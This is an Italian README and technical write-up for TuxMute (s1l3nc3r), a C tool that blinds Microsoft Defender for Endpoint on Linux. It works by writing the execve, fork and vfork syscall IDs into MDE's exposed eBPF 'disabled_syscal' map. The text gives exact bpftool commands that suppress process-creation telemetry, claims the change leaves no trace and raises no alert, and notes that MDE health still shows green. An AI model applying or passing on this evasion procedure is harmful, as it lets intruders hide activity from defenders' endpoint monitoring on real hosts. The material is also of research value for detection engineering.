
Strumento in C che silenzia la telemetria di Microsoft Defender for Endpoint su Linux scrivendo gli ID delle syscall nella mappa eBPF disabled_syscal esposta, sopprimendo gli eventi di creazione dei processi.

MDE per silenziare la telemetria su Linux.
Sebbene richieda l'accesso root (non considerato un confine di sicurezza da Microsoft), è un modo molto furtivo per disattivare la telemetria di MDE per Linux.
Funziona sfruttando la mappa bpf esposta disabled_syscal. Inserisce i numeri delle syscall all'interno di questa mappa per ostacolare la capacità di MDE di generare telemetria per una determinata syscall.
Testato su Linux debianMDE 6.12.107+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux.
Microsoft ha recentemente rilasciato in anteprima la protezione contro le manomissioni; non sono ancora riuscito a installarla sul mio host, quindi non posso confermare se funzionerebbe ancora.
Non sono responsabile per qualsiasi uso improprio di questo software.
Se scegli di utilizzare TuxMute (s1l3nc3r) per scopi malevoli, è solo responsabilità tua.
Questo strumento è fornito così com'è, solo per ricerca, istruzione e test di sicurezza autorizzati.
gcc -O2 -Wall s1l3nc3r.c -o s1l3nc3r -lbp
sudo bpftool prog show
Il comando sopra elencherà tutti i programmi eBPF attualmente caricati con alcuni dettagli sui loro hook nel kernel.
Un tracepoint ha attirato la mia attenzione:
367: tracepoint name sched_process_exec tag 9c75ffc2b762e640 gpl
loaded_at 2026-09-03T14:06:43-0400 uid 0
xlated 13272B jited 7499B memlock 16384B map_ids 69,54,62,71,70,73,58,72
btf_id 126
Gli hook di cui sopra si collegano direttamente al tracepoint sched:sched_process_exec, quindi alle vostre tipiche syscall execve() o execveat().
Fornisce inoltre delle BPF map su cui torneremo presto.
La creazione dei processi è piuttosto interessante dal punto di vista della telemetria, quindi potrebbe essere interessante approfondirla, non credete?
sudo bpftool prog dump xlated id 367
Con il comando sopra possiamo effettuare il dump del bytecode eBPF del programma (367) che abbiamo identificato in alcune istruzioni pseudo-assembly.
L'output è enorme, quindi limitiamoci alle prime 30 righe. NOTA: non seguirò ogni riga, mi limiterò a segnalare alcune cose interessanti che risultano piuttosto evidenti guardando questo output.
sudo bpftool prog dump xlated id 367 | head -n 30
int sched_process_exec(struct trace_event_raw_sched_process_exec * ctx):
; struct task_struct *task = (void *)bpf_get_current_task();
0: (85) call bpf_get_current_task#-112048
1: (bf) r7 = r0
2: (b7) r1 = 59
3: (63) *(u32 *)(r10 -24) = r1
4: (bf) r2 = r10
5: (07) r2 += -24
; system_call_disabled = bpf_map_lookup_elem(&disabled_syscall_events_map, &syscall_id);
6: (18) r1 = map[id:69]
8: (85) call __htab_map_lookup_elem#288832
9: (15) if r0 == 0x0 goto pc+1
10: (07) r0 += 56
; return system_call_disabled && (*system_call_disabled == 1);
11: (55) if r0 != 0x0 goto pc+155
12: (7b) *(u64 *)(r10 -96) = r7
; uint64_t pid_tid = bpf_get_current_pid_tgid();
13: (85) call bpf_get_current_pid_tgid#245584
14: (bf) r8 = r0
; uint64_t uid_gid = bpf_get_current_uid_gid();
15: (85) call bpf_get_current_uid_gid#246208
16: (bf) r9 = r0
; uint32_t cpu_id = bpf_get_smp_processor_id();
17: (b4) w0 = 217548
18: (bf) r0 = &(void __percpu *)(r0)
19: (61) r0 = *(u32 *)(r0 +0)
; uint32_t cpu_id = bpf_get_smp_processor_id();
20: (63) *(u32 *)(r10 -76) = r0
21: (bf) r2 = r10
22: (07) r2 += -76
Otteniamo il puntatore alla struct task struct del processo corrente (contiene tutti i dettagli sul task che nel mondo Linux possiamo considerare semplicemente un processo o thread). Salviamo il puntatore ottenuto in r7.
Carichiamo 59 in r1 (59 è il numero di syscall per x86_64 per execve.
Lo inseriamo nello stack.
Carichiamo il riferimento alla map con id 69 (ricordate il primissimo dump che abbiamo fatto, c'erano elencati gli id delle map). La map è referenziata come disabled_syscasll_events_map.
Eseguiamo una lookup per vedere se 59 è presente.
Se questo è disabilitato, allora salta più avanti.
Potete continuare all'infinito con questo per vedere quale sarebbe alla fine il percorso eseguito. Tuttavia, credo che sia abbastanza autoesplicativo cosa diavolo stia succedendo qui.
MOLTO PROBABILMENTE QUESTA MAP (69, lol ho appena notato il numero heheheeheheh) è responsabile di memorizzare i numeri di syscall che dovrebbero essere esclusi dalla generazione della telemetria?
Potete fare il dump di maggiori informazioni sulla map:
sudo bpftool map show id 69
69: hash name disabled_syscal flags 0x0
key 4B value 1B max_entries 512 memlock 55168B
Voglio dire... si chiama disabled_syscal. Questo ci fornisce anche i dettagli su cosa si aspetta la map: 4 byte per la chiave, quindi un intero a 32 bit per l'ID della syscall, e 1 byte per il bool che indica se è disabilitata o meno (1|0).
Possiamo aggiornare la nostra map con le informazioni corrette:
sudo bpftool map update id 69 key 0x3b 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x39 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x3a 0x00 0x00 0x00 value 0x01
sudo bpftool map dump id 69
key: 39 00 00 00 value: 01
key: 3b 00 00 00 value: 01
key: 3a 00 00 00 value: 01
Quindi abbiamo aggiornato la nostra mappa con alcune syscall 57 (0x39) fork, 58 (0x3a) vfork, 59 (0x3b) execve. Solo alcune cose relative alla creazione di processi.
MDE contiene la mappa di questi numeri di syscall in questo file: cat /opt/microsoft/mdatp/conf/syscalls.conf
cat /opt/microsoft/mdatp/conf/syscalls.conf | head -n 60
0=read,3
1=write,3
2=open,3
3=close,1
4=stat,2
5=fstat,2
6=lstat,2
7=poll,3
8=lseek,3
9=mmap,6
10=mprotect,3
<SNIP>
57=fork,0
58=vfork,0
59=execve,3
Dopo aver eseguito queste attività e poi aver eseguito numerosi processi diversi, DeviceProcessEvents non mostra nulla.
NOTA: l'id del tracepoint e della map sarebbero diversi a ogni caricamento di ebpf.
Da ciò che ho osservato, dopo aver inserito i valori lì, rimarranno. Ovviamente, non sopravviveranno al riavvio.
Puoi rimuovere il silenziamento:
sudo bpftool map delete id 69 key 0x3b 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x39 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x3a 0x00 0x00 0x00
sudo bpftool map dump id 69
Found 0 elements
Mentre gli eventi di processo erano silenziati, ho eseguito alcune curl verso google e ho notato che DeviceNetworkEvents venivano popolati; molto probabilmente è una syscall diversa a essere responsabile di questa telemetria. Tuttavia, la cosa interessante è che non troveresti il processo usando questo processid in DeviceProcessEvents perché non c'è (il che di per sé potrebbe essere un modo interessante di rilevarlo).
È importante dire che attualmente non esiste alcun rilevamento per questo, NON vedrai alcuna telemetria speciale, anche la timeline è influenzata da questo, da quanto ho notato.
Potresti dire che non è un grosso problema, e non è considerato un confine di sicurezza perché hai root e puoi fare qualsiasi cosa tipo uccidere il processo LOL. È giusto, ma farlo in questo modo tramite la mappa ebpf è più subdolo e non genererà alcuna telemetria in MDE che possa indicare una manomissione della mappa (gli EVENTI DI PROCESSO DA bpftool non contano, puoi scrivere un programma in user mode e farlo da lì lol, quindi buona fortuna a cercare sudo ./beningPROCHEHE nei tuoi log).
Ciò che è davvero importante qui è la telemetria o la MANCANZA di essa.
Inoltre, mentre le syscall sono disabilitate, tutto è verde per quanto riguarda la salute di MDE, nessun problema amico.